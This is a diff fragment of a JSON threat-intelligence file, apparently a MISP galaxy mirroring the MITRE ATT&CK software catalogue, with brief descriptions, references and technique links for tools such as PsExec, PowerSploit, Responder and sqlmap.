"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "value": "Koadic - S0250" + }, + { + "description": "[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)", + "meta": { + "external_id": "S0029", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0029", + "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx", + "https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive" + ], + "synonyms": [ + "PsExec" + ] + }, + "related": [ + { + "dest-uuid": "6dd05630-9bd8-11e8-a8b9-47ce338a4367", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "value": "PsExec - S0029" + }, + { + "description": "The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\n[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using net use commands, and interacting with services.", + "meta": { + "external_id": "S0039", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0039", + "https://msdn.microsoft.com/en-us/library/aa939914", + "http://windowsitpro.com/windows/netexe-reference" + ], + "synonyms": [ + "Net", + "net.exe" + ] + }, + "related": [ + { + "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "value": "Net - S0039" + }, + { + "description": "[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)\n\nUtilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)", + "meta": { + "external_id": "S0075", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0075", + "https://technet.microsoft.com/en-us/library/cc732643.aspx", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ], + "synonyms": [ + "Reg", + "reg.exe" + ] + }, + "related": [ + { + "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "value": "Reg - S0075" + }, + { + "description": "The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)", + "meta": { + "external_id": "S0057", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0057", + "https://technet.microsoft.com/en-us/library/bb491010.aspx" + ], + "synonyms": [ + "Tasklist" + ] + }, + "related": [ + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f", + "value": "Tasklist - S0057" + }, + { + "description": "[FTP](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)", + "meta": { + "external_id": "S0095", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0095", + "https://en.wikipedia.org/wiki/File_Transfer_Protocol" + ], + "synonyms": [ + "FTP", + "ftp.exe" + ] + }, + "related": [ + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565", + "value": "FTP - S0095" + }, + { + "description": "[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)", + "meta": { + "external_id": "S0096", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0096", + "https://technet.microsoft.com/en-us/library/bb491007.aspx" + ], + "synonyms": [ + "systeminfo.exe", + "Systeminfo" + ] + }, + "related": [ + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "value": "Systeminfo - S0096" + }, + { + "description": "[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)", + "meta": { + "external_id": "S0097", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0097", + "https://technet.microsoft.com/en-us/library/bb490968.aspx" + ], + "synonyms": [ + "ping.exe", + "Ping" + ] + }, + "related": [ + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47", + "value": "Ping - S0097" + }, + { + "description": "[Arp](https://attack.mitre.org/software/S0099) displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)", + "meta": { + "external_id": "S0099", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0099", + "https://technet.microsoft.com/en-us/library/bb490864.aspx" + ], + "synonyms": [ + "Arp", + "arp.exe" + ] + }, + "related": [ + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "30489451-5886-4c46-90c9-0dff9adc5252", + "value": "Arp - S0099" + }, + { + "description": "[schtasks](https://attack.mitre.org/software/S0111) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)", + "meta": { + "external_id": "S0111", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0111", + "https://technet.microsoft.com/en-us/library/bb490996.aspx" + ], + "synonyms": [ + "schtasks", + "schtasks.exe" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c9703cd3-141c-43a0-a926-380082be5d04", + "value": "schtasks - S0111" + }, + { + "description": "[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)", + "meta": { + "external_id": "S0121", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0121", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "synonyms": [ + "Lslsass" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2fab555f-7664-4623-b4e0-1675ae38190b", + "value": "Lslsass - S0121" + }, + { + "description": "[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)", + "meta": { + "external_id": "S0116", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0116", + "https://github.com/hfiref0x/UACME" + ], + "synonyms": [ + "UACMe" + ] + }, + "related": [ + { + "dest-uuid": "ccde5b0d-fe13-48e6-a6f4-4e434ce29371", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507", + "value": "UACMe - S0116" + }, + { + "description": "[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)", + "meta": { + "external_id": "S0119", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0119", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "synonyms": [ + "Cachedump" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52", + "value": "Cachedump - S0119" + }, + { + "description": "[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)", + "meta": { + "external_id": "S0191", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0191", + "https://github.com/skalkoto/winexe/", + "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + ], + "synonyms": [ + "Winexe" + ] + }, + "related": [ + { + "dest-uuid": "811bdec0-e236-48ae-b27c-1a8fe0bfc3a9", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "96fd6cc4-a693-4118-83ec-619e5352d07d", + "value": "Winexe - S0191" + }, + { + "description": "[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)", + "meta": { + "external_id": "S0123", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0123", + "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/" + ], + "synonyms": [ + "xCmd" + ] + }, + "related": [ + { + "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b", + "value": "xCmd - S0123" + }, + { + "description": "[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)", + "meta": { + "external_id": "S0192", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0192", + "https://github.com/n1nj4sec/pupy" + ], + "synonyms": [ + "Pupy" + ] + }, + "related": [ + { + "dest-uuid": "bdb420be-5882-41c8-b439-02bbef69d83f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + 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It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)", + "meta": { + "external_id": "S0183", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0183", + "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf" + ], + "synonyms": [ + "Tor" + ] + }, + "related": [ + { + "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "value": "Tor - S0183" + }, + { + "description": "[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)", + "meta": { + "external_id": "S0193", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0193", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)" + ], + "synonyms": [ + "Forfiles" + ] + }, + "related": [ + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "90ec2b22-7061-4469-b539-0989ec4f96c2", + "value": "Forfiles - S0193" + }, + { + "description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)", + "meta": { + "external_id": "S0174", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0174", + "https://github.com/SpiderLabs/Responder" + ], + "synonyms": [ + "Responder" + ] + }, + "related": [ + { + "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "a1dd2dbd-1550-44bf-abcc-1a4c52e97719", + "value": "Responder - S0174" + }, + { + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework compromised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)", + "meta": { + "external_id": "S0194", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0194", + "https://github.com/PowerShellMafia/PowerSploit", + "http://www.powershellmagazine.com/2014/07/08/powersploit/", + "http://powersploit.readthedocs.io" + ], + "synonyms": [ + "PowerSploit" + ] + }, + "related": [ + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "value": "PowerSploit - S0194" + }, + { + "description": "[meek](https://attack.mitre.org/software/S0175) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.", + "meta": { + "external_id": "S0175", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0175" + ], + "synonyms": [ + "meek" + ] + }, + "related": [ + { + "dest-uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "65370d0b-3bd4-4653-8cf9-daf56f6be830", + "value": "meek - S0175" + }, + { + "description": "[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)", + "meta": { + "external_id": "S0195", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0195", + "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + ], + "synonyms": [ + "SDelete" + ] + }, + "related": [ + { + "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "value": "SDelete - S0195" + }, + { + "description": "[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)", + "meta": { + "external_id": "S0179", + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/software/S0179", + "https://github.com/huntergregal/mimipenguin" + ], + "synonyms": [ + "MimiPenguin" + ] + }, + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5a33468d-844d-4b1f-98c9-0e786c556b27", + "value": "MimiPenguin - S0179" + }, + { + "description": "[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)", + "meta": { + "external_id": "S0224", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0224", + "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/" + ], + "synonyms": [ + "Havij" + ] + }, + "related": [ + { + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "fbd727ea-c0dc-42a9-8448-9e12962d1ab5", + "value": "Havij - S0224" + }, + { + "description": "[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)", + "meta": { + "external_id": "S0225", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0225", + "http://sqlmap.org/" + ], + "synonyms": [ + "sqlmap" + ] + }, + "related": [ + { + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9a2640c2-9f43-46fe-b13f-bde881e55555", + "value": "sqlmap - S0225" + }, + { + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that is publicly available on GitHub. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language. 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(Citation: PaloAlto-Xbot)", + "meta": { + "external_id": "S0298", + "refs": [ + "https://attack.mitre.org/software/S0298", + "http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/" + ], + "synonyms": [ + "Xbot" + ] + }, + "related": [ + { + "dest-uuid": "e683cd91-40b4-4e1c-be25-34a27610a22e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4cfa42a3-71d9-43e2-bf23-daa79f326387", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "5a78ec38-8b93-4dde-a99e-0c9b77674838", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "da21929e-40c0-443d-bdf4-6b60d15448b4", + "value": "Xbot - S0298" } ], - "version": 6 + "version": 9 }